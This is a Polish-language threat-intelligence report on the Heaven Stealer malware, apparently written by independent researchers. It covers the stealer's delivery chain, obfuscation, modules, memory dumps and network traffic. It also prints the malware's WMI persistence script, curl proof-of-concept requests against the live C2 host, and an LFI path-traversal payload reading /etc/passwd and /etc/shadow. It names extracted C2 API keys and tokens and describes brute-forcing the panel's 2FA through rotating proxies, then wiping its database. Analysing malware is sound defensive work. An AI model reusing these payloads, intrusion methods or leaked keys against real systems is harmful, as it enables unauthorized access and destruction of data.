- Zastrzeżenie prawne: Niniejszy raport techniczny został sporządzony wyłącznie w celach edukacyjnych, analizy zagrożeń (Threat Intelligence) oraz badań nad cyberbezpieczeństwem. Badania przeprowadzono w ramach analizy incydentu i neutralizacji złośliwej infrastruktury C2. Autorzy nie ponoszą odpowiedzialności za niewłaściwe wykorzystanie przedstawionych informacji, narzędzi lub wskaźników przez osoby trzecie. Wskaźniki kompromitacji (IOC) publikowane są w celach obronnych.
| Parametr | Wartość |
|---|---|
| Obiekt | Infrastruktura C2 (heavenproject.lgbt, c2.heavenproject.lgbt), malware Heaven Stealer |
| Adresy IP | heavenproject.lgbt (104.21.25.235, 172.67.134.227), c2.heavenproject.lgbt (162.0.236.31) |
| Typ analizy | Inżynieria wsteczna (Reverse engineering), zrzuty pamięci, analiza ruchu sieciowego (PCAP), pentest panelu C2 |
| Okres prac | 30 sierpnia - 9 września 2026 |
| Podsumowanie | Panel zhakowany, baza ~6 500 ofiar wyczyszczona, strona wyłączona |
| Wyeksportowane logi | 1 013 MB surowych archiwów ZIP i telemetrii z panelu operatora trexy |
Zespół projektowy:#
- @freakscary - neversocial.life
- @alowyy1 - alowyy1.com
SPIS TREŚCI#
- Krótkie podsumowanie
- Schemat ataku: od pobrania do C2
- Infrastruktura C2 i rozpoznanie sieciowe
- 3.1. Rzeczywisty backend i obejście Cloudflare
- 3.2. Otwarte porty i usługi (162.0.236.31)
- 3.3. Stos technologiczny
- Architektura API i dashboard
- 4.1. Publiczny wyciek
/app.js(3 651 linii) - 4.2. Administracyjne API operatora
- 4.3. Bot API (8 endpointów bez autoryzacji)
- 4.4. Ukryte endpointy ze zrzutów pamięci
- 4.5. Protokół WebSocket RAT
- 4.1. Publiczny wyciek
- Rejestr podatności infrastruktury (23 podatności)
- 5.1. Tabela podsumowująca
- 5.2. Analiza krytycznych luk
- 5.3. Pozostałe podatności
- 5.4. Weryfikacja CVE (fałszywe alarmy)
- Praktyczne PoC (Proof of Concept)
- 6.1. Rejestracja botów bez autoryzacji
- 6.2. Zatrute bazy danych (Data Poisoning)
- 6.3. HTTP Polling Reverse Shell i przechwycenie HVNC
- Inżynieria wsteczna malware (Heaven Stealer)
- 7.1. Łańcuch dostarczania (~113 MB) i infrastruktura dystrybucji
- 7.2. Tymczasowe artefakty instalatora
- 7.3. Dropper i kamuflaż pod Google Update
- 7.4. Kamuflaż pod modyfikację Fabric do Minecrafta
- 7.5. Persystencja poprzez demon WMI
- 7.6. Dwupoziomowa obfuskacja kodu bajtowego
- 7.7. Moduły stealera
- Zrzuty pamięci operacyjnej (Memory Forensics)
- 8.1. Klucz API C2 (
H7CJRKSZBX7EM6YQ) - 8.2. Tokeny sesji i UUID botów
- 8.3. Zrzut droppera
- 8.4. Zrzuty Heaven v2 - nowy klucz
JP1ZYRLIXYPPVOGP
- 8.1. Klucz API C2 (
- Analiza ruchu sieciowego (PCAP)
- 9.1. Charakterystyka przechwyconego ruchu
- 9.2. Sekundowa oś czasu
- 9.3. Kanały TLS i eksfiltracja danych
- 9.4. Powiadomienia Discord Webhook
- Obejście Rate Limiting i złamanie 2FA - Rust Bruter
- 10.1. Tło: łatka podatności VULN-05
- 10.2. Architektura obejścia
- 10.3. Opis narzędzia
- Testy penetracyjne panelu Admina C2 (09.09.2026)
- 11.1. Dostęp do panelu
- 11.2. Skala botnetu
- 11.3. Podatności panelu Admina
- 11.4. LFI - odczyt plików serwera z uprawnieniami root
- 11.5. Próba włamania przez SSH przy użyciu hasha hasła
- 11.6. Środowisko techniczne serwera
- Chronologia zdarzeń i podsumowanie operacji
- Wskaźniki kompromitacji (IOC)
1. KRÓTKIE PODSUMOWANIE#
Śledztwo rozpoczęło się po tym, jak znajomy przypadkowo zainstalował malware Heaven Stealer, zamaskowane jako program Velocity New. W trakcie prac, trwających od 30 sierpnia do 9 września 2026 roku, uzyskano następujące wyniki:
Wyodrębniono dwa działające klucze API ze zrzutów pamięci operacyjnej:
H7CJRKSZBX7EM6YQ(ze zrzutu pierwszej kompilacji)JP1ZYRLIXYPPVOGP(ze zrzutu drugiej kompilacji, nowa próbka znaleziona przez ANY.RUN)
Ominięto dwuskładnikowe uwierzytelnianie (2FA) panelu C2 za pomocą dedykowanego narzędzia w języku Rust z rotacją serwerów proxy - nawet po wdrożeniu blokad Rate Limiting przez autorów panelu.
Uzyskano pełny dostęp do panelu Admina z uprawnieniami administratora. W momencie przejęcia baza danych zawierała ponad 6 500 zainfekowanych urządzeń.
Wykryto krytyczną podatność LFI (Local File Inclusion) - przez
GET /api/file_download?token=../../../../../../etc/passwdmożna było odczytać dowolne pliki serwera. Proces C2 działał z uprawnieniami root, więc dostępny był nawet plik/etc/shadowz hashami haseł.Baza zainfekowanych urządzeń została całkowicie wyczyszczona. W wyniku złożonego oddziaływania (masowe asynchroniczne usuwanie przez skrypt
delete_clients.py, audyt LFI oraz awaria procesu pm2heaven-server) serwer backendowy przestał odpowiadać (Cloudflare HTTP 521 - Web server is down).Zidentyfikowano 23 podatności infrastruktury + 10 dodatkowych luk w panelu Admina. Wszystkie 8 endpointów służących do wymiany danych z botami nie posiadało żadnej autoryzacji.
Całkowicie przeanalizowano malware: dwupoziomowa obfuskacja (XOR 0x7A + AES-128-ECB), zdeobfuskowano 18 458 linii kodu bajtowego, wyodrębniono moduły ukrytego pulpitu (HVNC), proxy SOCKS5, kradzieży haseł oraz iniekcji do Discorda.
Wyeksportowano 1 013 MB surowych archiwów ZIP i telemetrii z panelu operatora trexy - największego operatora pod względem liczby zainfekowanych urządzeń.
Opracowane narzędzia#
W trakcie śledztwa napisano następujące narzędzia:
- heaven_v2_rust (Rust, 1 292 linie) - asynchroniczny bruter 2FA z rotacją proxy, pulą sesji i adaptacyjnym skalerem
- TOTP Interceptor v6 (Go, 479 linii) - wczesna wersja brutera 2FA w Go z pulą proxy
- main_proxy.py (Python) - skrypt do zbierania i walidacji serwerów proxy
- delete_clients.py (Python) - asynchroniczne masowe usuwanie UUID ofiar z bazy C2 (50 równoległych wątków, automatyczna obsługa limitów zapytań HTTP 429)
- exploit_dashboard.py, exploit_demo.py itp. (Python) - skrypty do badania i eksploatacji luk panelu
- interceptor.exe - skompilowany bruter do autonomicznego uruchamiania
2. SCHEMAT ATAKU: OD POBRANIA DO C2#
graph TD
subgraph Phase1["1. Infrastruktura C2"]
W1["heavenproject.lgbt"] --> CF["Cloudflare WAF"]
CF --> BACK["Backend: Node.js / pm2 - 162.0.236.31"]
W2["c2.heavenproject.lgbt"] -.->|"BEZPOŚREDNI DOSTĘP BEZ WAF"| BACK
BACK --> ADM["Admin API - klucz + 2FA"]
BACK --> BOT["Bot API - 8 endpointów BEZ AUTORYZACJI"]
end
subgraph Phase2["2. Dostarczanie"]
D1["MEGA / Discord ~113 MB"] --> D2["Instalator NSIS"]
D2 --> D3["Kontener Electron - velocity new.exe"]
D2 --> D4["JRE pod postacią Google Update"]
end
subgraph Phase3["3. Wykonanie"]
D3 --> E1["main.js - Dropper z app.asar"]
E1 --> E2["javaw.exe -jar syshost.jar"]
E2 --> E3["Maskowanie: Fabric Mod cutify_cozy-1.21.11"]
E3 --> E4["Demon WMI - restart co 5 sek."]
E3 --> E5["Zbieranie danych - %TEMP%/Heaven_Data/"]
E3 --> E6["HVNC - ukryty pulpit"]
E3 --> E7["Klient sieciowy"]
E7 -->|"WSS / HTTP"| BOT
end3. INFRASTRUKTURA C2 I ROZPOZNANIE SIECIOWE#
3.1. Rzeczywisty backend i ominięcie Cloudflare#
Główna domena heavenproject.lgbt jest chroniona przez Cloudflare, ale subdomena c2 wskazuje bezpośrednio na serwer:
heavenproject.lgbt:
A: 104.21.25.235 (Cloudflare)
A: 172.67.134.227 (Cloudflare)
c2.heavenproject.lgbt:
A: 162.0.236.31 (RZECZYWISTY IP - BEZ CLOUDFLARE!)
- Hosting: Namecheap (AS22612), Phoenix, Arizona, US
- Reverse DNS:
model-reduce.quarantine-pnap-vlan51.web-hosting.com - Słowo
quarantinew PTR wskazuje, że Namecheap już odizolował serwer z powodu skarg na złośliwą aktywność.
3.2. Otwarte porty i usługi (162.0.236.31)#
| Port | Usługa | Szczegóły | Ryzyko |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu | Wysokie |
| 80 | HTTP | Golang net/http (C2 Panel + Bot API). Brak HTTPS! | Krytycz. |
| 1080 | SOCKS5 | Proxy z uwierzytelnianiem | Wysokie |
| 3306 | MySQL | Opóźnienie TCP = 540ms | Średnie |
| 4044 | Raw TCP | Milczy, czeka na binarny handshake | Średnie |
| 9999 | Raw TCP | Kanał binarny lub debugowanie | Średnie |
| 18999 | HTTP | Reverse Proxy, zwraca 502 Bad Gateway | Niskie |
3.3. Stos technologiczny#
- OS: Ubuntu 24.04 LTS
- Hostname:
server1.heavenproject.lgbt - Część serwerowa: Node.js + Express 5.2.1, uruchamiana przez pm2, proces
heaven-server, działa jako root - Baza Danych: SQLite (pakiet
connect-sqlite3+sqlite3) - 2FA: speakeasy (TOTP)
- WebSocket: ws 8.20.0
- Przesyłanie plików: multer 1.4.5
- Dashboard kliencki: Vanilla JS (
app.js, 188 KB / 3 651 linii)
Dane te uzyskano poprzez odczyt LFI pliku /root/heaven/package.json:
{
"name": "mc-pornografik",
"main": "index.js",
"scripts": { "start": "node server.js" },
"dependencies": {
"connect-sqlite3": "^0.9.18",
"sqlite3": "^6.0.1",
"express": "^5.2.1",
"speakeasy": "^2.0.0",
"ws": "^8.20.0",
"multer": "^1.4.5-lts.1"
}
}
4. ARCHITEKTURA API I DASHBOARD#
4.1. Publiczny wyciek /app.js (3 651 linii)#
Plik GET /app.js?v=62 (188 KB) znajdował się w otwartym dostępie i zawierał:
- Link do kanału Telegram deweloperów:
t.me/heavenstealer - Pełną listę procesów, które śledzi stealer:
chrome.exe,msedge.exe,opera.exe,discord.exe,steam.exe,spotify.exe,javaw.exe,explorer.exe,lsass.exe,code.exe - Strukturę pól ofiary:
id,pcName,osName,osVersion,ip,ram,monitors,lastSeen,online,apiKey,mcVersion - Filtr Anti-Echo:
(now - lastTerminalTime) < 400ms
To właśnie w app.js odkryto endpoint /api/file_download?token=..., który doprowadził do podatności LFI (więcej w sekcji 11.4).
4.2. Administracyjne API operatora#
Zabezpieczone sesyjnym cookie po podaniu klucza API i 2FA:
POST /api/login- przyjmuje{"apiKey": "..."}, zwraca{"next":"2fa","status":"ok"}POST /api/2fa_verify- weryfikacja 6-cyfrowego kodu TOTPGET /api/me- dane obecnego operatoraGET /api/clients- lista wszystkich ofiarGET /api/client_data/{id}- skradzione hasła i pliki cookie konkretnej ofiaryPOST /api/delete_client- usunięcie ofiary z bazyGET /api/settings&POST /api/settings- konfiguracja webhooka DiscordGET /api/build&GET /api/build/status- kreator złośliwych kompilacji (.JAR, .EXE, .DLL)GET /api/admin/keys- lista operatorów i kluczyPOST /api/admin/keys/add,/delete,/edit,/kick- zarządzanie operatoramiGET /api/admin/download-steam- pobieranie skradzionych plików Steam
4.3. Bot API (8 endpointów bez autoryzacji)#
Wszystkie endpointy, przez które stealer wysyła skradzione dane, nie sprawdzają żadnych kluczy:
| Endpoint | Metoda | Co przyjmuje | Zagrożenie |
|---|---|---|---|
/api/connect |
POST | {"id":"UUID","os":"...","username":"..."} lub {} |
Rejestracja fałszywych botów |
/api/heartbeat |
POST | {"id":"UUID"} |
Przechwycenie komend operatora |
/api/browser_data |
POST | {"type":"passwords","data":[...]} lub {} |
Iniekcja fałszywych haseł |
/api/keylog |
POST | {"id":"UUID","window":"...","keys":"..."} |
Iniekcja fałszywych wciśnięć klawiszy |
/api/screen |
POST | {"id":"UUID","events":[...]} |
Dwukierunkowe przechwycenie HVNC |
/api/terminal |
POST | {"id":"UUID","command":"...","result":"..."} |
Fałszowanie wyjścia komend |
/api/file_list |
POST | {"id":"UUID","path":"C:\\","files":[...]} |
Iniekcja drzewa plików |
/api/webcam |
POST | {"id":"UUID","frame":"base64..."} lub {} |
Streaming bez autoryzacji |
4.4. Ukryte endpointy ze zrzutów pamięci#
Znalezione w zrzucie javaw.exe.dmp:
GET /api/v1/config_sync?token=efa965bf...- synchronizacja modułówPOST /api/v1/telemetry- metryki systemoweGET /api/v1/update_check- sprawdzanie aktualizacji JARPOST /api/upload_zip- przesyłanie archiwów bez sprawdzania MIMEGET /api/download_zip?clientId=&token=/GET /api/file_download?token=- pobieranie plików
4.5. Protokół WebSocket RAT#
Z pliku app.js odtworzono pełny protokół sterowania ofiarami w czasie rzeczywistym:
sequenceDiagram
participant Op as Przeglądarka operatora
participant C2 as Serwer C2 (162.0.236.31)
participant Bot as Bot na maszynie ofiary
Op->>C2: WSS Connect (cookie)
Bot->>C2: POST /api/connect {"id":"f1ded8a4..."}
C2-->>Bot: {"id":"f1ded8a4...","status":"ok"}
loop Co sekundę
Bot->>C2: POST /api/heartbeat {"id":"f1ded8a4..."}
C2-->>Bot: {"command":"terminal_cmd","screen":true}
end
Note over Op,C2: Komendy operatora:
Op->>C2: {"action":"watch"} - streamowanie ekranu
Op->>C2: {"action":"start_hvnc"} - ukryty pulpit
Op->>C2: {"action":"terminal_cmd","cmd":"whoami"}
Op->>C2: {"action":"toggle_socks5"} - proxy przez ofiarę
Op->>C2: {"action":"zip_all_data"} / {"action":"extract_discord"}5. REJESTR PODATNOŚCI INFRASTRUKTURY (23 PODATNOŚCI)#
5.1. Tabela zbiorcza#
| ID | Podatność | Poziom | CVSS | CWE |
|---|---|---|---|---|
| VULN-18 | /api/heartbeat bez autoryzacji - przechwytywanie komend |
KRYTYCZ. | 9.8 | CWE-306 |
| VULN-21 | /api/browser_data bez autoryzacji - Data Poisoning |
KRYTYCZ. | 9.8 | CWE-306 |
| VULN-19 | /api/connect bez autoryzacji - fałszywe boty |
KRYTYCZ. | 9.5 | CWE-306 |
| VULN-20 | /api/terminal bez autoryzacji - fałszowanie wyników |
KRYTYCZ. | 9.5 | CWE-306 |
| VULN-02 | SSH otwarte na publicznym IP | KRYTYCZ. | 9.3 | CWE-1021 |
| VULN-16 | /api/screen bez autoryzacji - przechwytywanie HVNC |
KRYTYCZ. | 9.3 | CWE-306 |
| VULN-01 | Prawdziwe IP ujawnione przez DNS c2 (ominięcie WAF) | KRYTYCZ. | 9.1 | CWE-200 |
| VULN-22 | /api/file_list bez autoryzacji |
WYSOKA | 8.8 | CWE-306 |
| VULN-03 | Publiczny dostęp do /app.js (188 KB) |
WYSOKA | 8.6 | CWE-552 |
| VULN-23 | /api/webcam bez autoryzacji |
WYSOKA | 8.5 | CWE-306 |
| VULN-17 | /api/keylog - iniekcja fałszywych naciśnięć klawiszy |
WYSOKA | 7.5 | CWE-306 |
| VULN-04 | Brak HTTPS na subdomenie c2 (port 80) | WYSOKA | 7.4 | CWE-319 |
| VULN-05 | Brak Rate Limiting na login/2FA | WYSOKA | 7.3 | CWE-799 |
| VULN-14 | Publiczny serwer proxy SOCKS5 (port 1080) | WYSOKA | 7.2 | CWE-284 |
| VULN-06 | Brak nagłówków HTTP Security | ŚREDNIA | 6.8 | CWE-693 |
| VULN-12 | Metoda HTTP TRACE włączona (XST) | ŚREDNIA | 5.8 | CWE-693 |
| VULN-07 | Cookie bez HttpOnly/Secure | ŚREDNIA | 5.4 | CWE-614 |
| VULN-13 | Otwarty port 9999/TCP | ŚREDNIA | 5.3 | CWE-200 |
| VULN-08 | Brak tokenów CSRF | ŚREDNIA | 5.0 | CWE-352 |
| VULN-09 | Skrypt kliencki Anti-DevTools | NISKA | 4.3 | CWE-656 |
| VULN-15 | Wyciek Reverse Proxy (port 18999) | NISKA | 4.0 | CWE-200 |
| VULN-10 | Cloudflare Beacon Token ujawniony | NISKA | 3.1 | CWE-200 |
| VULN-11 | Informacje w robots.txt | NISKA | 2.7 | CWE-200 |
| VULN-00 | Prototype Pollution (naprawiona) | NAPRAW. | - | CWE-1321 |
5.2. Analiza krytycznych luk#
[VULN-18] /api/heartbeat - przechwycenie kanału C2 (CVSS 9.8)
Żądanie POST /api/heartbeat z dowolnym UUID zwracało obecne polecenia operatora. Atakujący mógł zobaczyć moment włączenia streamowania ekranu, wiadomości operatora do ofiary i nazwy komend shella.
[VULN-21] /api/browser_data - zatruwanie bazy (CVSS 9.8)
Serwer przyjmował dowolne dane bez autoryzacji, nawet pusty JSON {}. Pozwalało to na wprowadzanie tokenów Canary w celu deanonimizacji operatora.
[VULN-19] /api/connect - rejestracja fałszywych botów (CVSS 9.5) Serwer samodzielnie generował UUID przy pustym żądaniu. Można było zalać panel milionami fikcyjnych botów.
[VULN-01] Ujawnienie IP przez DNS (CVSS 9.1)
Rekord c2.heavenproject.lgbt -> 162.0.236.31 umożliwiał całkowite ominięcie WAF.
5.3. Pozostałe podatności#
- VULN-03 (8.6): 188 KB kodu źródłowego dashboardu w jawnym dostępie
- VULN-04 (7.4): Subdomena
c2działa przez HTTP - hasła i pliki cookie są przesyłane otwartym tekstem - VULN-05 (7.3): Brak Rate Limiting pozwalał na zbruteforsowanie TOTP w 17 minut. Naprawiono po pierwszej próbie włamania, ale przez nas ominięto dzięki użyciu proxy (sekcja 10)
- VULN-14 (7.2): SOCKS5 na porcie 1080 otwarty na łamanie haseł
5.4. Weryfikacja CVE (fałszywe alarmy)#
- CVE-2024-45338 (Go chunked DoS): Opóźnienie 1.8x = timeout, a nie błąd. Nie potwierdzono.
- CVE-2024-24790 (SSRF): Standardowy fallback-routing. Fałszywy alarm.
- CVE-2024-34156 (Go gob overflow): Stabilne 401 w ~1s przy 5000 poziomach zagnieżdżenia. Brak podatności.
- CVE-2025-22871 (LF smuggling): TCP reset. Zabezpieczono.
- CVE-2024-6387 (OpenSSH regreSSHion): Patch zainstalowany.
- SQL/NoSQL/Path Traversal przez sqlmap: 24 testy, 0 wyników (binarny magazyn Key-Value, później odkryto że to SQLite).
6. PRAKTYCZNE POC (PROOF OF CONCEPT)#
6.1. Rejestracja botów bez autoryzacji#
# Rejestracja testowego bota:
curl -X POST http://c2.heavenproject.lgbt/api/connect \
-H "Content-Type: application/json" \
-d '{"os":"Windows 11 Pro","hwid":"TEST-HWID","username":"Victim"}'
# Odpowiedź: {"id":"3f3ce2e1-b842-d402-f4ed-93ae0b3594c0","status":"ok"}
# Heartbeat - odpytywanie komend:
curl -X POST http://c2.heavenproject.lgbt/api/heartbeat \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-b842-d402-f4ed-93ae0b3594c0"}'
# Odpowiedź: {"chat":null,"command":"none","screen":false,"status":"ok","webcam":false}
Zarejestrowane testowe UUID:
3f3ce2e1-b842-d402-f4ed-93ae0b3594c0,f2860802-e169-25d1-7b28-48fed4124b3e8752c57b-1bd9-4d58-6a6d-5fdb06c3bcb8,d88c5716-d713-8547-99af-ccfd3f29668e10e3e99b-bbd1-711e-557b-30cf04b43fc1,12d104b7-183a-ed48-0f6d-b402577a04168e46ddd0-76b3-51aa-da44-ba337e1ad0c8,ecdd61d4-5f39-45f0-8444-8d24b9ee0555
6.2. Zatrute bazy danych (Data Poisoning)#
# Iniekcja fałszywych haseł:
curl -X POST http://c2.heavenproject.lgbt/api/browser_data \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-...","type":"passwords","data":[{"url":"https://corporate.portal","username":"ceo@target.corp","password":"CanaryTrapPassword2026!"}]}'
# Odpowiedź: {"status":"ok"}
# Iniekcja fałszywego keyloggera:
curl -X POST http://c2.heavenproject.lgbt/api/keylog \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-...","window":"Google Chrome","keys":"admin_login[TAB]SuperSecret[ENTER]"}'
# Odpowiedź: {"status":"ok"}
6.3. HTTP Polling Reverse Shell i przechwycenie HVNC#
Gdy operator wysłał komendę shell, /api/heartbeat zwracało {"command": "terminal:whoami"}. Skrypt emulujący wysyłał fałszywą odpowiedź "NT AUTHORITY\\SYSTEM", a operator widział pomyślne wykonanie z maksymalnymi uprawnieniami.
7. INŻYNIERIA WSTECZNA MALWARE (HEAVEN STEALER)#
7.1. Łańcuch dostarczania (~113 MB) i infrastruktura dystrybucji#
- Pierwotna próbka dostarczana była przez MEGA:
https://mega.nz/file/FV932aaT#TkrZhW7G0m9PmNe5N9VWgLpqaMFwaPTu4IUAQOvUE9o - Znajomy przypadkowo zainstalował malware podszywające się pod Velocity New, od czego rozpoczęło się całe śledztwo.
- Zadania analizy ANY.RUN Sandbox:
- Zadanie #1: ANY.RUN Task deb65d82 (Próbka Velocity New)
- Zadanie #2: ANY.RUN Task 59d4cf0c (Próbka Heaven v2)
- Zadanie #3: ANY.RUN Task 6ad256b4 (Dodatkowa kompilacja payloadu)
- Strony dystrybucji malware i droppery:
velocityget.com- Fałszywa strona pobierania klienta Velocitykrnl-executorr.com/- Fałszywa strona popularnego exploitu KRNL do Robloxhttps://skycheaters.com- Fałszywy portal z cheatami do gier
- Domeny phishingowe i przekierowania:
noreplyamz-sign-in.webredirect.org(wraz z subdomenami:www,mail,cpanel,webmail,webdisk,cpcontacts)
- Zewnętrzny instalator: NSIS + spakowany
app-64.7z
7.2. Tymczasowe artefakty instalatora#
Instalator tworzy C:\Users\<User>\AppData\Local\Temp\nszF928.tmp\ i wypakowuje:
StdUtils.dll(102 KB),System.dll(12 KB),SpiderBanner.dll(9 KB)app-64.7z(112 MB) ->resources\app.asar(7.5 KB) +resources\app.jar(15.4 MB)
7.3. Dropper (main.js z app.asar) i maskowanie jako Google Update#
Skrypt main.js wewnątrz app.asar:
- Przechwytuje muteks
app.requestSingleInstanceLock() - Kopiuje Java Runtime udając Google Update:
%LocalAppData%\Google\Update\GUManager\runtime\bin\javaw.exe - Kopiuje payload:
%AppData%\Microsoft\Windows\Templates\syshost.jar - Uruchamia ukryty proces:
javaw.exe -jar syshost.jar - Zamyka okno instalatora, symulując błąd instalacji
7.4. Maskowanie jako Fabric Mod do Minecrafta (cutify_cozy-1.21.11)#
Wewnątrz syshost.jar kod jest maskowany jako mod do Minecrafta:
- Manifest:
fabric.mod.json, nazwa:cutify_cozy-1.21.11 - Klasa wejściowa:
j.l.c.qk8PDez9nnaFpI
Kompilacja v2 (katalog hevan) miała kluczowe różnice:
- Podwójny punkt wejścia: Fabric preLaunch (
n.e.l.GhlGPobMXnAqMF) + niezależny JAR (n.e.l.JSo5Ml1QaZW7hMz bibliotekami JNA). Można uruchomić zarówno przez Minecrafta, jak i przezjava -jar - Pakiet przeniesiony z
j.l.c.*don.e.l.* - Ponad 7 500 fałszywych klas (dummies) w celu utrudnienia analizy
- 331 zaszyfrowanych plików
.dbpo 16 392 bajty - Payload HVNC:
hvnc.enc(206 KB)
7.5. Persystencja przez demona WMI (win_security_update.vbs)#
Stealer tworzy skrypt, który co 5 sekund sprawdza istnienie procesu syshost.jar przez WMI i uruchamia go ponownie:
On Error Resume Next
Set shell = CreateObject("WScript.Shell")
Set service = GetObject("winmgmts:")
Do
Set processes = service.ExecQuery("Select * from Win32_Process Where CommandLine Like '%syshost.jar%'")
If processes.Count = 0 Then
shell.Run """...\javaw.exe"" -jar ""...\syshost.jar""", 0, False
End If
WScript.Sleep 5000
Loop
7.6. Dwupoziomowa obfuskacja kodu bajtowego (bytecode)#
- Warstwa 1 - XOR:
Plaintext = Base64Decode(Arg) XOR 0x7A- zdeobfuskowano 18 458 linii - Warstwa 2 - AES-128-ECB:
Key = SHA-256(Password)[0..15]- ochrona konfiguracji i ciągów sieciowych
7.7. Moduły stealera#
- Przeglądarki: Wyciąganie Master Key przez DPAPI, odszyfrowywanie haseł i cookie z przeglądarek Chrome, Edge, Brave
- Discord: Przechwytywanie tokenów + iniekcja do klienta na PC
- Steam: Zrzut plików autoryzacji
ssfn* - HVNC: Ukryty pulpit przez Win32 API (
CreateDesktop,SwitchDesktop) - SOCKS5: Proxy przez zainfekowany komputer w celu maskowania IP operatora
- Katalog zbierania danych:
%TEMP%\Heaven_Data\(passwords.txt, cookies.txt, autofill.txt, history.txt, downloads.txt)
8. ZRZUTY PAMIĘCI OPERACYJNEJ (MEMORY FORENSICS)#
8.1. Klucz API C2 (H7CJRKSZBX7EM6YQ)#
W zrzucie javaw.exe_2026-08-30_16-36-21.dmp (332.1 MB) znaleziono jawny master-klucz:
H7CJRKSZBX7EM6YQ
Weryfikacja: POST https://heavenproject.lgbt/api/login z {"apiKey":"H7CJRKSZBX7EM6YQ"} zwróciła {"next":"2fa","status":"ok"}.
8.2. Tokeny sesji i UUID botów#
| Artefakt | Wartość | Przeznaczenie |
|---|---|---|
| API Key (v1) | H7CJRKSZBX7EM6YQ |
Master-klucz panelu C2 |
| Session Token | efa965bf70fc2f8d5494d1457b8ae365b7d39ef37f88608e4775847b4c5f8120 |
Synchronizacja modułów |
| Bot UUID (obecny) | f1ded8a4-941f-4b0a-850a-9b6472a12a9f |
Aktywna sesja |
| Bot UUID (VM 1) | 72ecc0d3-9f0d-4bb0-bf47-880fd3a983b7 |
Pierwsza maszyna wirtualna (VM) |
| Bot UUID (VM 2) | 5d407630-3736-4766-83e6-6cfaabea6e8f |
Testowa piaskownica (sandbox) |
8.3. Zrzut droppera#
W zrzucie velocity new.exe.6656.dmp (2.0 MB) znaleziono adresy URL biblioteki NSIS i deskryptory wdrażania app.asar.
8.4. Zrzuty Heaven v2 - nowy klucz JP1ZYRLIXYPPVOGP#
Ze świeżych zrzutów (09.09.2026):
javaw.exe_2026-09-09_16-21-15.dmp(1 657.6 MB)javaw.exe_2026-09-09_16-22-37.dmp(273.3 MB)wscript.exe_2026-09-09_16-22-19.dmp(79.1 MB)wscript.exe_2026-09-09_16-22-30.dmp(46.0 MB)
Nowy klucz API: JP1ZYRLIXYPPVOGP - w wersji v2 malware przesyła klucz bezpośrednio w JSON do /api/connect.
Przechwycony pakiet JSON rejestracji bota:
{
"name": "Unknown",
"uuid": "8574827b-48aa-4cd8-b855-db51c876cb25",
"pcName": "DESKTOP-49788EQ",
"osName": "Windows 10",
"osVersion": "10.0",
"javaVersion": "21.0.7",
"ram": "3GB",
"mcVersion": "1.1.0-chat",
"apiKey": "JP1ZYRLIXYPPVOGP",
"monitorCount": 1,
"monitors": [{"id": 1, "name": "\\Display0", "width": 1458, "height": 936}],
"webcams": []
}
Odszyfrowane endpointy w RAM: /api/connect, /api/heartbeat (ponad 700 wywołań), /api/keylog.
Token sesji v2: 6595b64144ccf1df.
Zrzuty wscript.exe potwierdziły działanie demona persystencji win_security_update.vbs.
9. ANALIZA RUCHU SIECIOWEGO (PCAP)#
Plik: 213131.pcapng (60.8 s, 539 pakietów, 178 KB)
Ofiara: HOME-PC, IP 192.168.11.128, Windows 10/11, Chromium 128.0
9.2. Oś czasu sekunda po sekundzie (Timeline)#
T+0.0s Chromium - Wykrywanie UPnP SSDP
T+9.8s Weryfikacja CRL przez c.pki.goog
T+24.9s Próba połączenia z api.ipify.org (reset TCP RST)
T+33.0s DNS: heavenproject.lgbt -> 104.21.25.235 (Cloudflare)
T+33.3s TLS ClientHello -> 104.21.25.235:443
=> Połączenie #1 (port 49881) - Kanał WebSocket C2
T+37.5s api.ipify.org - pobranie zewnętrznego IP ofiary
T+37.7s TLS ClientHello -> 104.21.25.235:443
=> Połączenie #2 (port 49883) - eksfiltracja danych
T+37.8s *** MASOWA EKSFILTRACJA ***
14 pakietów po 1460 bajtów (~20 KB)
T+38.4s 12 pakietów po 1460 bajtów (~17 KB)
T+39.9s 12 pakietów po 1460 bajtów (~17 KB)
RAZEM: ~55-60 KB zaszyfrowanych danych w 2 sekundy
T+42.0s Odpowiedź C2 - potwierdzenie odbioru
T+48.3s DNS: discord.com -> TLS -> Discord Webhook (powiadomienie operatora)
T+60.8s Koniec przechwytywania
9.3. Kanały TLS i eksfiltracja#
Cały ruch do C2 - TLS 1.3 (TLS_AES_256_GCM_SHA384). Heartbeat wysyłany co ~1.0 sekundę: żądanie 351 bajtów, odpowiedź ~750 bajtów.
9.4. Powiadomienia Discord Webhook#
W czasie T+48.3s stealer wysłał do operatora raport: nazwa hosta, publiczne IP, wersja systemu operacyjnego, liczba skradzionych haseł.
10. OBEJŚCIE RATE LIMITING I ZŁAMANIE 2FA - RUST BRUTER#
10.1. Tło sytuacji: patch VULN-05#
Po naszej pierwszej próbie logowania do panelu (gdy wyodrębniono działający klucz API, a sesja przeszła w status oczekiwania na 2FA), twórcy panelu C2 załatali podatność VULN-05. Od tego momentu po 5 nieudanych próbach wprowadzenia kodu 2FA serwer blokował adres IP na nieokreślony czas, a utworzona sesja (która powstała przy podawaniu klucza API) wygasała.
Co więcej, dodano na panelu ochronę przed narzędziami deweloperskimi: kliencki kod JavaScript blokował otwieranie DevTools za pomocą standardowych sposobów (F12, prawy przycisk myszy, Ctrl+Shift+I). Aby je ominąć, należało otwierać je ręcznie z menu przeglądarki: Trzy kropki > Więcej narzędzi > Narzędzia dla deweloperów.
10.2. Architektura obejścia#
Aby ominąć blokadę po adresie IP, opracowano następujący schemat:
graph LR
subgraph Bruter["Rust Bruter (heaven_v2_rust)"]
SF["700 Wypełniaczy sesji"] -->|"POST /api/login przez proxy"| POOL["Pula sesji (do 5000)"]
POOL --> W["do 800 workerów"]
W -->|"POST /api/2fa_verify"| C2["Serwer C2"]
end
PROXY["Plik proxy.txt z proxy HTTP"] --> SF
C2 -->|"Kod znaleziony!"| DC["Discord Webhook: powiadomienie + cookie"]Kluczowa idea: serwer blokuje IP po 5 błędnych próbach, ale każde żądanie przechodzi przez inny serwer proxy posiadający inne IP. Dla każdego proxy prowadzony jest osobny licznik, a po otrzymaniu blokady (HTTP 429) proxy jest banowane na 61 sekund.
10.3. Opis narzędzia#
Napisano narzędzie heaven_v2_rust w języku Rust (1 292 linie), w pełni asynchroniczne z wykorzystaniem biblioteki tokio. Główne cechy:
